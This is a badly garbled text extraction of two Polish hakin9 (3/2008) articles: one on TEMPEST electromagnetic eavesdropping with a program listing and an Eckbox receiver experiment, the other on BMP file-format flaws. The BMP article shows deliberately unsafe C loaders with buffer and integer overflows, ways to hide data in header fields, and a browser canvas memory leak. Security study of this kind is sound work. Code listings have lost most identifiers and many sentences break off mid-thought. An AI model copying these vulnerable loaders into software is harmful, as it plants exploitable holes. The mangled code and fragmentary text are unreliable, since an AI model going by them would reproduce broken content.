
Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

Problem ulotu elektromagne-

W USA powstał w latach sześć-

•   Level 1 – AMSG 720 B,
•   Level 2 – AMSG 788,
•   Level 3 – AMSG 784.

Po dokładniejsze informacje na

temat programu TEMPEST odsyłam
do Internetu, na przykład na stronę
www.iniejawna.pl.

Technikalia

Rozpatrując  możliwości  podsłu-
chania  komputera  przy  wykorzy-
staniu  kompromitujących  emana-
cji,  mamy  możliwość  zastosowa-
nia  technik  inwazyjnych  oraz  nie-
inwazyjnych.

Techniki inwazyjne mogą opierać

się na wstrzyknięciu w system-ofia-
rę  oprogramowania,  działającego
w  taki  sposób,  że  bez  wiedzy  użyt-
kownika  będzie  wykorzystywało
układy  elektroniczne  komputera  ja-

ko nadajnik i antenę do wypromie-
niowania informacji, jakie zamierza-
my przechwycić.

Przykładem wykorzystania ta-

łać muzykę w eter – można ją ode-
brać na standardowym radioodbior-
niku fal długich. Program działa w li-
nii poleceń systemu Linux.

Do wydania odpowiedniej ko-

mendy potrzebne są nam parame-
try naszego podsystemu graficzne-
go, takie jak:

• częstotliwość rysowania piksela

(Pixel Clock),

Listing 1.

Program tempest-cpu autorstwa Berke Duraka

#include

<stdlib.h>

#include

<stdio.h>

typedef

unsigned

char

;

#define BUF_SIZE (1<<18)

void

tempest_cpu_pattern

(

int

count

volatile

int

buf

int

)

{

int

;

int

;

while

(

count

--)

{

for

(

;

++)

{

0x55330fff

;

<<=

;

buf

[

]

;

(++

BUF_SIZE

)

;

}

for

(

;

++)

{

asm

(

"nop"

);

/* this instruction is available on nearly every CPU :

) */

}

int

main

(

int

argc

char

argv

)

{

int

count1

count2

;

int

;

int

;

int

;

int

;

(

argc

)

{

fprintf

(

stderr

"usage: %s a_low b_low a_high b_high count_low

count_high

);

exit

(

EXIT_FAILURE

);

}

atoi

(

argv

[

]);

atoi

(

argv

[

]);

atoi

(

argv

[

]);

atoi

(

argv

[

]);

count1

atoi

(

argv

[

]);

count2

atoi

(

argv

[

]);

malloc

(

BUF_SIZE

sizeof

(

int

));

for

(;;)

{

for

(

;

(

)

(

)

{

tempest_cpu_pattern

(

count1

);

}

return

;

}

hakin9 Nr 3/2008

www.hakin9.org

Atak

• rozdzielczość pozioma (HDi-

splay),

• rozdzielczość pionowa (VDi-

splay),

• całkowita rozdzielczość pozioma

(HTotal).

Po wydaniu przykładowego pole-
cenia:

#./tempest_for_eliza 108000000 1280
1024 1688 10000000 songs/starwars

Dźwięki emitowane przez moni-

Przy okazji tych eksperymentów

W związku z tym faktem uwa-

Erik Thiele bazował przy pracy

Pierwszym programem Ber-

ke Duraka, o najmniej skompliko-
wanej budowie (Listing 1) jest tem-

Rysunek 2.

Ekran monitora podczas pracy programu Tempest for Eliza

Rysunek 1.

Rozkład pola

elektromagnetycznego wokół
odcinka przewodnika prądu

��

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

Kolejny program tempest-crt tego

W tym momencie należy wspo-

mnieć,  że  urządzenia  pracujące  na
szynie SCSI – bardzo wydajnej szy-
nie danych, wykorzystywanej w roz-
wiązaniach  serwerowych  –  także
emitują  dość  silne  pola  elektroma-

gnetyczne. Są one dużo bardziej in-
tensywne niż w przypadku szyny PCI
i w przypadku braku odpowiedniego
ekranowania dają możliwość podsłu-
chania z dużej odległości.

Programy Duraka są niezaprze-

czalnym potwierdzeniem, że można
wykorzystać podzespoły kompute-
ra w celu wysyłania informacji po-

Rysunek 3.

Transceiver Zodiac

Tokyo w czasie odbierania sygnału

Rysunek 4.

Program Tempest for Eliza po zakończeniu pracy

Rysunek 5.

Widok zmontowanego urządzenia

hakin9 Nr 3/2008

www.hakin9.org

Atak

Techniki nieinwazyjne – jak su-

geruje  nazwa  –  nie  zmuszają  nas
do  wstrzykiwania  kodu  programu
do  komputera-ofiary.  Nieinwazyj-
ność  tych  metod  polega  na  wyko-
rzystaniu niepożądanej emisji elek-

Podsłuchiwać możemy przeróż-

że przedostawać się do sieci elek-
troenergetycznej i tam może zostać
przechwycona.

W roku 1990 Peter Smulders

Budujemy urządzenie

Rozpoczynając pracę nad bu-

Na Rysunku 6. widać schemat

blokowy połączeń poszczególnych
elementów zestawu.

W swoim eksperymencie wyko-

rzystywałem  radioodbiornik  wypo-
sażony  w  standardową  antenę  fer-
rytową  oraz  zewnętrzną  telesko-
pową.  Oprócz  tego  w  przypadku
transceivera  Zodiac  Tokyo  korzy-

Rysunek 6.

Eksperymentalny zestaw do podsłuchu elektromagnetycznego

(Eckbox)

��

Rysunek 7.

Schemat ideowy urządzenia Eckbox

��

�

��

�

��

�

��

��
��

��
��
��
��
��
��
��
��

�

��

�

��

�

��

�

��

�

��

�

��

�

��

�

��

�

��

�

��

�

��

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

Do zbudowania interfejsu urzą-

Dodatkowo będziemy potrzebo-

Po zmontowaniu elektronicznej

części układu przystąpiłem do połą-
czenia wszystkich elementów zesta-
wu podsłuchowego – tak, jak widać na
Rysunku 5.

Program eckbox po skompilowa-

Urządzenie nie wyświetla tego,

Zbudowałem więc kolejny eg-

zemplarz oparty o układ ADC, mo-

Taka częstotliwość sugeruje, że

Licząc, że uda mi się podsłu-

hakin9 Nr 3/2008

www.hakin9.org

Atak

Niestety, nie powiodło mi się rów-

Brak pozytywnego wyniku działa-

nia urządzenia i programu Eckbox wca-

le nie spowodował w moim przypadku
zmiany zdania na temat problemu ulotu
elektromagnetycznego i zagrożeń bez-
pieczeństwa z nim związanych.

Powodem niepowodzenia mogą

być zarówno błędy w projektowaniu

Podsumowanie

Rysunek 9.

Obraz odbierany przez kolejny układ (HI2302)

O autorze

Rysunek 8.

Wynik pracy urządzenia i programu Eckbox

hakin9 Nr 3/2008

Atak

iniejszy artykuł ma na celu zapoznać
czytelnika z formatem przechowywa-
nia obrazu BMP, wskazać w nich miej-

sca które można wykorzystać do przemycenia
ukrytych danych, miejsca w których programi-
sta może popełnić błąd podczas implementacji
oraz zapoznać ze samym formatem. Przykła-
dy będą w miarę możliwości zilustrowane pew-
nymi bugami w istniejącym oprogramowaniu,
znalezionymi przez autora oraz inne osoby.

Wstęp do BMP

Niesławny format BMP znany jest przede
wszystkim z plików o ogromnych wielkościach
(w porównaniu do JPEG czy PNG). Format ten
stworzony został przez firmy IBM oraz Microsoft
na potrzeby systemów OS/2 oraz Windows, obie
firmy rozwijały go jednak oddzielnie, co spowo-
dowało powstanie kilku wariantów tego formatu.
Niniejszy tekst skupia się na BMP w wersji Win-
dows V3, pozostałe wersje (OS/2 V1 i V2 oraz
Windows V4 i V5) pozostawiam czytelnikowi do
własnej analizy jako zadanie domowe :).

Niezależnie od wersji, ogólna budowa pli-

ku, przedstawiona na Rysunku 1. pozostaje ta-
ka sama. Na samym początku pliku znajduje się
struktura BITMAPFILEHEADER (jest ona stała,

niezależnie od wersji) która zawiera m.in. iden-
tyfikator pliku – tzw. liczbę magiczną (ang. ma-
gic number), oraz offset na którym znajdują się
dane  bitmapy.  Bezpośrednio  po  BITMAPFILE-
HEADER, na offsecie 0Eh, znajduje się struktu-
ra  BITMAPINFOHEADER  (dodam  że  deklara-
cje omawianych struktur można znaleźć w pliku
wingdi.h w Platform SDK), która zawiera infor-
macje o obrazie, jego rozdzielczości, głębi ko-
lorów  czy  użytej  metody  kodowania/kompresji.
W przypadku bitmap o głębi 4 lub 8 bitów, za-
raz  za  strukturą  BITMAPINFOHEADER  znaj-

Format BMP okiem hakera

Michał Gynvael Coldwind Składnikiewicz

stopień trudności

Pliki graficzne są dziś szeroko rozpowszechnionym nośnikiem

informacji, spotyka się je praktycznie na każdym komputerze.

Dobry programista powinien wiedzieć jak wyglądają nagłówki

poszczególnych formatów plików graficznych, i jak są

przechowywany jest sam obraz. A jak to zwykle bywa, diabeł tkwi

w szczegółach.

Z artykułu dowiesz się

• jak zbudowany jest plik BMP,
• na co uważać podczas implementowania ob-

sługi formatu BMP,

• gdzie szukać błędów w aplikacjach korzystają-

cych z BMP.

Co powinieneś wiedzieć

• mieć ogólne pojęcie na temat plików binarnych,
• mieć ogólne pojęcie na temat bitmap.

Format BMP okiem hakera

hakin9 Nr 3/2008

www.hakin9.org

duje  się  paleta  barw,  którą  jest  od-
powiedniej  wielkości  tablica  struktur
RGBQUAD.  W  przypadku  bitmap  o
głębi kolorów 16 bitów zamiast palety
barw w tym miejscu znajduję się pro-
sta struktura składająca się z trzech
DWORD'ów  które  są  maskami  bito-
wymi  określającymi  które  bity  w  da-
nych  obrazu  odpowiadają  za  barwę,
kolejno,  czerwoną,  zieloną  oraz  nie-
bieską, natomiast w bitmapach, o głę-
bi 24 bity lub większejm paleta barw
nie  występuje.  Dane  obrazu  zaczy-
nają się na offsecie podanym w BIT-
MAPFILEHEADER,  zazwyczaj  od
razu po ostatnim nagłówku. Budowa
danych zależy za równo od użytego
kodowania jak i głębi kolorów.

Tak przedstawia się ogólna budo-

wa formatu BMP. Szczegółowa budo-
wa formatu BMP przedstawiona jest
w dalszej części artykułu.

Nagłówek

BITMAPFILEHEADER

Nagłówek

BITMAPFILEHEADER

(patrz  Tabela  1)  rozpoczyna  się  na
początku pliku (offset 0) i ma wielkość
14 bajtów (0Eh). Najmniej interesują-
cym polem struktury jest pierwsze po-
le – bfType, które zawsze ma wartość
odpowiadającą  ciągowi  ASCII  BM.
Kolejnym  polem  jest  DWORD  bfSi-
ze w którym wg. specyfikacji powinna
znaleźć  się  całkowita  wielkość  pliku
w bajtach. Wielkość pliku prawidłowe-
go pliku łatwo obliczyć dodając wiel-
kości  poszczególnych  nagłówków,
palety barw oraz danych obrazu. To
pole stanowi pierwszą pułapkę, ale w
nią  wpadają  jedynie  nieuważni  pro-
gramiści. Rozważmy kod z Listingu 1.
- programista wczytał nagłówek, za-
ufał polu bfSize i zaalokował tyle pa-

mięci ile wg. bfSize jest potrzebne, po
czym  wczytał  cały  plik  (aż  do  koń-
ca) do zaalokowanego bufora. Funk-
cja  działa  wyśmienicie,  pod  warun-
kiem że wartość bfSize jest równa lub
większa od faktycznej wielkości pliku.
Jeśli wartość bfSize będzie mniejsza,
dojdzie  do  klasycznego  błędu  prze-
pełnienia  bufora  –  który  wprawny
włamywacz mógł by wykorzystać do
wykonania  własnego  kodu.  Dobrym
pomysłem jest zignorowanie wartości
tego pola, i korzystanie jedynie z wiel-
kości pliku otrzymanej od systemu pli-
ków.  Stanowcza  większość  aplikacji
faktycznie ignoruje to pole, co z kolei
pozwala wykorzystać je w celu ukry-
cia 32 bitów danych.

Dwa kolejne pola – bfReserved1

oraz bfReserved2 – według specyfi-
kacji  powinny  być  wyzerowane,  po-
nieważ  są  zarezerwowane  na  przy-
szłość.  Póki  co  są  jednak  niewyko-
rzystywane, więc mogą posłużyć do
ukrycia  kolejnych  32  bitów  danych
(oba  pola  są  WORDami,  czyli  mają
po 16 bitów każde). Warto zaznaczyć
iż  żadna  z  testowanych  przez  auto-
ra aplikacji nie sprawdzała czy w w/w
polach faktycznie znajdują się zera.

Ostatnie pole stanowi kolejną pu-

łapkę.  Pole  bfOffBits,  bo  o  nim  mo-
wa, jest 32 bitową wartością bez zna-
ku  (DWORD,  czyli  w  terminologii  C
jest to unsigned int) która mówi o tym
w którym miejscu pliku (a dokładniej,
od którego bajtu pliku) zaczynają się
faktyczne dane obrazu. Zdarzają się
przypadki w których to pole jest wy-
zerowane – część aplikacji w tym wy-
padku uznaje że dane obrazu znajdu-
ją  się  bezpośrednio  za  nagłówkami.
Programista  implementujący  obsłu-
gę BMP może popełnić kilka błędów.

Na  początek  najbardziej  trywialny
– programista z góry zakłada że da-
ne obrazu znajdują się za nagłówka-
mi i ignoruje pole bfOffBits – tak dzia-
ło  się  w  przypadku  starszych  wersji
Total Commander (na przykład 6.51,
wersje nowsze, na przykład 7.01 nie
ignorują  już  tego  pola).  Pomijając
problemy  z  wyświetlaniem  prawidło-
wych  bitmap  które  mają  dane  obra-
zu odsunięte od nagłówków, pozwa-
la to na przykład stworzyć plik BMP
który  wyświetlany  w  Total  Comman-
derze  będzie  prezentował  inną  gra-
fikę niż gdyby ten tam plik BMP po-
dać  innej,  prawidłowo  obsługującej
pole bfOffBits, aplikacji. Taki właśnie
efekt zaprezentowany jest na Rysun-
ku 2. (użyte grafiki pochodzą z http:
//icanhascheezburger.com),  dla  uka-
zania efektu ten sam plik BMP poda-
no Listerowi (część Total Commande-
ra odpowiedzialna za podgląd plików)
oraz  IrfanView  4.10.  Należy  zazna-
czyć iż plik jest oczywiście dwa razy
większy  niż  byłby  normalnie  (ponie-
waż zawiera dwa obrazki).

Drugim błędem który programi-

sta może popełnić jest założenie że
polu bfOffBits można zaufać i będzie
ono na pewno mniejsze od wielkości
pliku, a tym bardziej dodatnie (jak pi-
sałem wcześniej jest to DWORD, czy-
li liczbą bez znaku, ale należy pamię-
tać że suma dwóch liczb 32 bitowych

Tabela 1.

Struktura BITMAPFILEHEADER

Typ i nazwa pola

Opis

WORD bfType

Identyfikator BMP, zazwyczaj lite-
ry „BM”

DWORD bfSize

Całkowita wielkość pliku

WORD bfReserved1

Zarezerwowane, zaleca się nadanie
wartości 0

WORD bfReserved2

Zarezerwowane, zaleca się nadanie
wartości 0

DWORD bfOffBits

Pozycja (offset) danych w pliku

Rysunek 1.

Budowa pliku BMP

hakin9 Nr 3/2008

www.hakin9.org

Atak

jest  nadal  liczbą  32  bitową,  czyli  nie
ma tak na prawdę różnicy czy jest to
DWORD  czy  SDWORD  jeśli  nastą-
pi  integer  overflow).  Tego  typu  błąd,
niegroźny  –  ale  jednak,  występuje
w Microsoft Paint do wersji 5.1 włącz-
nie (czyli tej dołączonej do Microsoft
Windows  XP  SP2,  wersja  6.0,  dołą-
czona  do  Microsoft  Windows  Vista,
została  poprawiona).  Przykładowe
wykorzystanie  widać  na  Rysunku  3.
Zestawiono na nim aplikację Microsoft
Paint oraz IrfanView, które wyświetla-
ją ten sam plik BMP. Jak można do-
myślić się z rysunku IrfanView posta-
nowił zignorować błędnie wypełnione
pole bfOffBits i uznał że dane obrazu
znajdują się bezpośrednio za nagłów-
kami, natomiast mspaint.exe wykonał
operacje WyświetlBitmapę(Początek-
Danych + bfOffBits), co poskutkowa-
ło  wyświetleniem  fragmentu  pamięci
należącej  do  aplikacji.  Należy  dodać
że  w  wypadku  gdy  PoczątekDanych
+  bfOffBits  wskazuje  na  nieistnieją-
cy  fragment  pamięci,  zostaje  rzuco-
ny wyjątek (Naruszenie Ochrony Pod-
czas Odczytu, ang. Read Access Vio-
lation),  w  wypadku  mspaint.exe  jest
on  jednak  obsługiwany.  Należy  za-
uważyć iż jeżeli tego typu błąd wystą-
pił  by  w  aplikacji  posiadającej  w  pa-
mięci wrażliwe dane, to sprawny so-
cjotechnik  mógł  by  z  powodzeniem
wydobyć  od  nieświadomego  użyt-
kownika  zrzut  ekranu  na  którym  wi-
dać źle wyświetlaną bitmapę która tak
na prawdę przedstawiała by fragment
pamięci na przykład z hasłem i logi-
nem danego użytkownika.

Warto zauważyć iż odsunięcie

danych od nagłówków stwarza do-
wolną ilość miejsca na ukrycie ewen-
tualnych dodatkowych danych.

Podsumowując strukturę BIT-

MAPFILEHEADER, są tu dwa miej-
sca w których programista może po-
pełnić błąd, a także 64 bity (8 bajtów)
w samym nagłówku, w których moż-
na zapisać (ukryć) dodatkowe dane.

Nagłówek

BITMAPINFOHEADER

Drugim z kolei nagłówkiem plików
BMP w wersji Windows V3 jest BIT-
MAPINFOHEADER, struktura skła-
dająca się z 11 pól o łącznej długości
40 bajtów (28h), rozpoczynająca się
od offsetu 0Eh.

Pierwsze pole – biSize – określa

wielkość  niniejszego  nagłówka,  po
tej wielkości aplikacje rozpoznają czy
nagłówkiem  jest  faktycznie  BITMA-
PINFOHEADER, i czy plik BMP jest
na pewno wersją Windows V3 forma-
tu  BMP.  Prawidłową  wartością  jest
oczywiście  40  (28h).  Niektóre  apli-
kacje,  takie  jak  IrfanView  czy  Mozil-
la, przyjmują że plik BMP jest plikiem
w wersji Windows V3 nawet w wypad-
ku gdy biSize posiada jakąś inną, nie-
znaną,  wartość  –  daje  to  możliwość
ukrycia kolejnych 32 bitów danych, z
tym że nie wszystkie programy będą
potrafiły poradzić sobtie z wyświetle-
niem bitmapy w takim wypadku.

Drugim, trzecim oraz piątym

z kolei polem są kolejno biWidth, bi-
Height oraz biBitCount. Są to, jak na-
zwa wskazuje, informacje o szeroko-

ści  bitmapy  (biWidth),  jej  wysokości
(biHeight)  oraz  głębi  kolorów,  czyli
ilości  bitów  które  opisują  każdy  ko-
lejny  piksel  (biBitCount).  Wartości
z  tych  pól  bardzo  często  służą  do
wyliczenia  całkowitej  ilości  bajtów
potrzebnej do przechowania bitmapy
w pamięci. W tym celu implementuje
się następujące równanie:

PotrzebnaIlośćBajtów =
Szerokość * Wysokość * (Głębia / 8)

W przypadku BMP szerokość, czyli
biWidth, w tym równaniu zaokrągla-
na jest w górę do najbliższego iloczy-
nu liczby 4 (więcej o tym będzie w pa-
ragrafie Dane obrazu –

BI _ RGB

), czy-

li jeśli bitmapa na przykład ma szero-
kość 109 pikseli, to w tym równaniu
zostanie użyta wartość 112. Tak więc
to równanie w przypadku BMP ma
następującą postać:

PotrzebnaIlośćBajtów =
ZaokrąglonaSzerokość *
Wysokość * (Głębia / 8)

Tak  wyliczona  wartość  używana  jest
zazwyczaj do alokacji pamięci na po-
trzeby docelowej bitmapy. Jest to jed-
nocześnie  miejsce,  w  którym  istnie-
je  prawdopodobieństwo  błędnej  im-
plementacji.  Załóżmy  na  chwilę  że
programista założył że  PotrzebnaIlo-
śćBajtów  jest  wartością  typu  LONG
lub DWORD (32 bity), a tak się czę-
sto zdarza. Jeżeli wynik równania bę-
dzie  większy  od  FFFFFFFFh,  czy-
li  maksymalnej  liczby  którą  można
zapisać  w  32  bitowej  zmiennej  typu
całkowitego/naturalnego,  to  nastą-
pi  przepełnienie  zmiennej  całkowi-
tej  (ang.  Integer  Overflow),  co  z  ko-
lei  może  doprowadzić  do  błędu  ty-
pu przepełnienia bufora. Weźmy pod
uwagę kod z Listingu 2. Programista
zaokrągla  szerokość  po  czym  wyli-
cza potrzebną ilość bajtów, a następ-
nie alokuje pamięć i wczytuje wiersz
po wierszu całą bitmapę do zaaloko-
wanej  pamięci.  Wszystko  wydaje  się
być w porządku, ale załóżmy na chwi-
lę że otrzymaliśmy bitmapę o wielko-
ści  65536x65536x8,  czyli  szerokość
i  wysokość  mają  wartość  10000h.
Po  podstawieniu  wartości  w  równa-

Tabela 2.

Struktura BITMAPINFOHEADER

Typ i nazwa pola

Opis

DWORD biSize

Wielkość nagłówka, w tym wypadku 28h

LONG biWidth

Szerokość bitmapy

LONG biHeight

Wysokość bitmapy

WORD biPlanes

Ilość płaszczyzn, przyjęto wartość 1

WORD biBitCount

Ilość bitów na piksel

DWORD biCompression

Rodzaj zastosowanego kodowania/kompresji

DWORD biSizeImage

Wielkość nieskompresowanej bitmapy w pamięci

LONG biXPelsPerMeter

DPI poziome

LONG biYPelsPerMeter

DPI pionowe

DWORD biClrUsed

Użyta ilość kolorów

DWORD biClrImportant

Ilość ważnych kolorów

Format BMP okiem hakera

hakin9 Nr 3/2008

www.hakin9.org

niu  na  potrzebną  ilość  bajtów  otrzy-
mamy 10000h * 10000h * (8/8), czy-
li  100000000h.  DWORD  pomieścić
może  jedynie  najmłodsze  32  bity  tej
liczby, w związku z czym w zmiennej
size  zapisane  zostanie  00000000h,
czyli  0.  Następnie  dojdzie  do  aloka-
cji  pamięci,  która  zakończy  się  suk-
cesem  (przykładowo  system  Win-
dows  zaalokuje  16  bajtów,  mimo  ze
malloc dostał 0 w parametrze), a po-
tem  zostanie  w  to  miejsce  wczytane
65536 wierszy po 65536 pikseli każ-
dy,  czyli  4  GB  danych,  co  spowodu-
je przepełnienie bufora oraz wyrzuce-
nie wyjątku (ang. Write Access Viola-
tion). W przypadku gdy wyjątek zosta-
nie  obsłużony  prawdopodobnie  bę-
dzie  również  możliwość  wykonania
kodu, a w wypadku gdy nie zostanie
obsłużony, aplikacja po prostu zakoń-
czy działanie z odpowiednim komuni-
kacje o błędzie.

Czwartym z kolei polem, pomi-

niętym wcześniej, jest biPlanes, które
mówi o ilości płaszczyzn. Przyjęte jest
że w tym polu powinna być wartość 1.
Niektóre programy ignorują wartość
tego pola, przez co możliwe jest ukry-
cie kolejnych 16 bitów danych.

Kolejnym, szóstym polem jest

biCompression  field.  To  pole  przyj-
muje  pewne  z  góry  ustalone  war-
tości  które  mówią  o  sposobie  ko-
dowania  i  kompresji  użytej  w  przy-
padku  danego  pliku  BMP.  Dostęp-
ne wartości w BMP Windows V3 to

BI _ RGB (0)

BI _ RLE8 (1)

BI _ RLE4

(2)

oraz

BI _ BITFIELDS (3)

. Kolejne

wersje formatu BMP zakładają rów-
nież dwie inne wartości:

BI _ JPEG (4)

oraz

BI _ PNG (5)

. Różne rodzaje ko-

dowanie BMP są omówione w kolej-
nych podpunktach.

Następnym polem jest biSizeIma-

ge określające całkowitą wielkość bit-
mapy po ewentualnej dekompresji
(jeżeli bitmapa nie jest kompresowa-
na, to pole może być ustawione na 0).

W przypadku tego pola pułapka wy-
gląda  bardzo  podobnie  jak  w  przy-
padku pola bfSize z BITMAPFILEHE-
ADER, zaleca się więc zignorowanie
wartości tego pola. Nieostrożne uży-
cie wartości biSizeImage przy aloka-
cji pamięci, a następnie brak kontro-
li  pozycji  wskaźnika  zapisu  przy  de-
kompresji  może  prowadzić  do  prze-
pełnienia bufora.

Dwa kolejne pola – biXPelsPer-

Meter oraz biYPelsPerMeter – mówią
o poziomej i pionowej ilości pikseli przy-
padających na metr (informacja ana-
logiczna do DPI, ang. Dots Per Inch).
Informacje te są potrzebne głównie
w przypadku drukowania danej bitma-
py. Pojawia się tutaj pewna groźba w
przypadku implementacji drukowania
bitmap – rozdzielczość ta może przy-

jąć bardzo małą wartość (na przykład
1), i wtedy nawet mała bitmapa może
zająć kilkanaście kartek A4, lub bar-
dzo dużą wartość, przez co cała bit-
mapa będzie wielkości milimetr na mi-
limetr. To pole może zostać wykorzy-
stane również do przechowania pew-
nej informacji (64 bity łącznie), szcze-
gólnie jeśli nie zależy nam na popraw-
ności rozdzielczości drukowanej.

Przedostatnim polem jest biClrU-

sed które mówi o ilości kolorów w pa-
lecie barw. Jeżeli to pole jest wyzero-
wane, przyjmuje się że ilość kolorów
w  palecie  jest  równa  liczbie  2  pod-
niesionej  do  potęgi  biBitCount  (do
8  bitów  włącznie),  czyli  na  przykład
w przypadku 8-bitowej bitmapy przyj-
muje  się  że  paleta  ma  256  kolorów.
Co  ciekawe,  programiści  mają  ten-
dencje ufać temu polu i zakładać że
jeżeli biClrUser wynosi na przykład 1,
to w bitmapie pojawi się jedynie pierw-
szy z kolei kolor, czyli 00. Jeżeli w bit-
mapie pojawi się więcej kolorów pra-
widłowym działaniem powinno być al-
bo wyświetlanie pozostałych kolorów
jako czarny (czyli wyzerowanie pozo-

Tabela 3.

Struktura RGBQUAD

Typ i nazwa pola

Opis

BYTE rgbBlue

Wartość barwy niebieskiej

BYTE rgbGreen

Wartość barwy zielonej

BYTE rgbRed

Wartość barwy czerwonej

BYTE rgbReserved

Zarezerwowane

Listing 1.

Niebezpieczny kod wczytujący bitmapę

void

ReadBMPtoMemory

(

const

char

name

unsigned

int

size

)

{

char

data

NULL

;

BITMAPFILEHEADER

bmfh

;

FILE

NULL

;

size_t

ret

;

/* Otwórz plik */

fopen

(

name

, „

”

);

)

return

NULL

;

/* Wczytaj naglowek i zaalokuj pamięć */

fread

bmfh

sizeof

(

bmfh

));

size

bmfh

bfSize

;

data

malloc

(

bmfh

bfSize

);

data

)

goto

err

;

memset

(

data

bmfh

bfSize

);

/* Wczytaj plik */

fseek

(

SEEK_SET

);

{

ret

fread

(

data

ret

0x1000

);

}

while

feof

(

));

/* Powrót */

fclose

(

);

return

data

;

/* Obsluga bledow */

err

(

)

fclose

(

);

(

data

)

free

(

data

);

return

NULL

;

}

hakin9 Nr 3/2008

www.hakin9.org

Atak

stałej części palety), albo wykonanie
operacji modulo (

wyświetlony _ kolor

= kolor % biClrUsed

). Tak zachowu-

ją się MSPaint, Internet Explorer, czy
Paint Shop Pro. Bardzo dużo progra-
mów  jednak  rysuje  bitmapę  na  swój
własny  sposób,  czego  przykład  jest
przedstawiony na Rysunku 4. W tym
miejscu  należało  by  się  zaintereso-
wać czemu tak się dzieje, oraz skąd
się  biorą  pozostałe  kolory  –  ponie-
waż w palecie w pliku BMP

zadekla-

rowany został tylko jeden. Odpowiedź
na to drugie pytanie jest dość prosta
–  najwyraźniej  programy  alokują  pa-
mięć na pełną paletę kolorów (256 ko-
lorów), po czym wczytują z pliku ca-
łą tam zawartą paletę (1 kolor). Resz-
ta palety, jako że nie była wyzerowa-
na, zawiera w takim przypadku dane
które znajdowały się wcześniej w pa-
mięci, a konkretniej na stogu (ang. he-
ap). Drugą możliwa odpowiedź jest ta-
ka że program alokuje paletę o wielko-
ści biClrUsed, a kolory powyżej biCl-
rUsed po prostu korzystają z pamię-
ci po za paletą tak jak by to był dalszy
ciąg  palety  (tzw.  boundary  condition
error). W obu przypadkach kolory któ-
re według pola biClrUsed nie powinny
być używane, są opisane przez dane
znajdujące się w pamięci. Idąc o krok
dalej, można stworzyć BMP o wielko-
ści  256x1  w  której  dane  obrazu  bę-
dą kolejnymi kolorami, od 00 do FFh,
dzięki temu wyświetlona bitmapa bę-
dzie praktycznie rzecz biorąc skopio-
waną paletą kolorów, czyli na ekranie
pojawią się, w postaci kolorowych pik-
seli, dane z pamięci. Czy jednak moż-
na  w  jakiś  sposób  przesłać  automa-
tycznie przesłać tą bitmapę do jakie-
goś  zdalnego  serwera?  Okazuje  się
że w przypadku Firefox 2.0.0.11 oraz
Opera 9.50 beta jest to możliwe. Obie

te przeglądarki obsługują wprowadzo-
ny w

HTML 5 tag <canvas>

, który umoż-

liwia rysowanie po płótnie, kopiowanie
bitmap z tagów

<img>

na płótno, oraz

odczyt  wartości  kolorów  z  płótna.
Możliwe jest więc stworzenie skryptu
który  wyświetli  odpowiednio  sprepa-
rowany plik BMP a następnie skopiuje
go na canvas, odczyta wartości kolo-
rów i prześle je na zdalny serwer. Wg.
badań  przeprowadzonych  przez  au-
tora  dane  przesyłane  na  zdalny  ser-
wer mogą zawierać fragmenty innych
stron, fragmenty ulubionych, fragmen-
ty historii oraz inne informacje. W mo-
mencie pisania tego artykułu powyż-
sza,  znaleziona  przez  autora,  luka,
klasyfikowana  jako  Remote  Informa-
tion  Disclosure,  nie  została  jeszcze
poprawiona.

Ostatnim polem tego nagłówka

jest biClrImportant – mówiące o ilości
istotnych kolorów w bitmapie. Stanow-
cza większość aplikacji ignoruje jed-
nak to pole, dzięki czemu może ono
zostać użyte do przechowania 32 bi-
tów danych niezwiązanych z bitmapą.

Podsumowując, w nagłówku BIT-

MAPINFOHEADER znajduje się wie-
le pól które nieuważny programista
może potraktować ze zbytnim zaufa-
niem narażając tym samym użytkow-

nika na wyciek informacji a nawet wy-
konanie kodu. Dodatkowo w tym na-
główku można ukryć kolejne bajty
informacji dodatkowych, niezwiąza-
nych z bitmapą.

Paleta barw

Paleta  barw  jest  tablicą  struktur
RGBQUAD  (patrz  Tabela  3)  które
opisują wartość barw, kolejno niebie-
skiej, zielonej i czerwonej, danego ko-
loru. Dodatkowo każda struktura do-
pełniona  jest  jedno  bajtowym  po-
lem rgbReserved, dzięki czemu cała
struktura ma wielkość 32 bitów (4 baj-
tów). Standard nakazuje aby to ostat-
nie  pole  było  wyzerowane,  jednak
w rzeczywistości aplikacje nie spraw-
dzają tego. To pole może zostać uży-
te do ukrycia dodatkowych informacji,
lub do zapisania kanału alfa (w przy-
padku  bitmap  32  bitowych).  Paleta
barw występuje w przypadku bitmap
1  (1  bitowa  bitmapa  wcale  nie  musi
być czarno-biała!), 4 oraz 8 bitowych
(patrz  pole  biBitCount  z  BITMAPIN-
FOHEADER). W przypadku tych bit-
map, jeśli pole biClrUsed nie mówi in-
aczej, paleta zawiera kolejno 2, 16 lub
256 struktur RGBQUAD.

Dane obrazu – BI_RGB

Dane  obrazu  w  przypadku  BI_RGB
należy  rozważać  w  dwóch  katego-
riach – faktycznych kolorów RGB (bit-
mapa 24 bitowa), oraz numerów kolo-
rów w palecie barw (1 bitowe, 4 bitowe
lub 8 bitowe bitmapy). Niemniej jednak
kilka rzeczy jest wspólne. Pierwszą z
nich jest zapis bitmapy do góry noga-
mi, czyli pierwsze w pliku znajdują się
wiersze które trafią na dół bitmapy, a
kolejne  zawierają  informacje  o  wier-
szach znajdujących się coraz wyżej w

Listing 2.

Niebezpieczny kod alokujący pamięć i wczytujący dane

/* Wylicz szerokosc i wielkosc */

DWORD

padded_width

(

bmih

biWidth

)

(

);

DWORD

size

padded_width

bmih

biHeight

(

bmih

biBitCount

);

/* Alokacja pamieci */

char

data

malloc

(

size

)

;

data

)

goto

err

;

/* Wczytaj dane */

fseek

(

bmfh

biOffBits

SEEK_SET

);

for

(

data

;

bmih

biHeight

;

padded_width

)

fread

(

padded_width

);

Rysunek 2.

Wykorzystanie ignorowania pola bfOffBits

Format BMP okiem hakera

hakin9 Nr 3/2008

www.hakin9.org

faktycznym obrazie. Drugą rzeczą jest
wspomniane  wcześniej  dopełnianie
ilości danych (bajtów) w wierszy do ilo-
czynu liczby 4. W przypadku kiedy ilo-
czyn szerokości i ilości bajtów przypa-
dających na piksel nie jest podzielny
przez 4, na koniec danych wiersza do-
pisywana jest odpowiednia ilość (od 1
do 3) bajtów zerowych, tak aby całko-
wita ilość danych opisujących wiersz
była iloczynem liczby 4. Jak się łatwo
domyślić  żadna  aplikacja  nie  spraw-
